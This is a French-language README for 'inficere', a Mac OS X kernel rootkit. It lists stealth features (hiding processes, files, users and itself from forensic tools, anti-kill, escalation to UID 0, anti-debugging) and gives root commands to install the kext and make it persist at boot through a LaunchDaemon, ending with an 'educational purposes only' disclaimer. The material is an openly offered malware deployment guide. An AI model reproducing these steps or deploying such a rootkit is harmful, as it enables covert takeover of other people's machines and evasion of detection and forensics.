inficere

Version publique de mon rootkit Mac OS X construit par-dessus le onyx-the-black-cat de fractalG (https://github.com/gdbinit/onyx-the-black-cat)

Testé seulement sous Mountain Lion, de 10.8.2 à 10.8.5. Non garanti de fonctionner sur d'autres versions.

Fonctionnalités

• masquage de processus - se cache de 'ps PID', 'ps aux', Activity Monitor, top, etc.
• masquage de fichiers/répertoires
• masquage d'utilisateur - cache un utilisateur spécifié de 'who', 'w'
• auto-masquage - cache le module lui-même de kextstat et volatility
• anti-kill
• PID vers UID 0
• astuces anti-débogage (principalement par @osxreverser) - anti-anti-ptrace, patch task_for_pid(0), etc.

Instructions

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Pour une persistance au démarrage :

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere cachera les fichiers ci-dessus après chargement.

Je tiens à souligner que j'ai créé cela uniquement à des fins éducatives.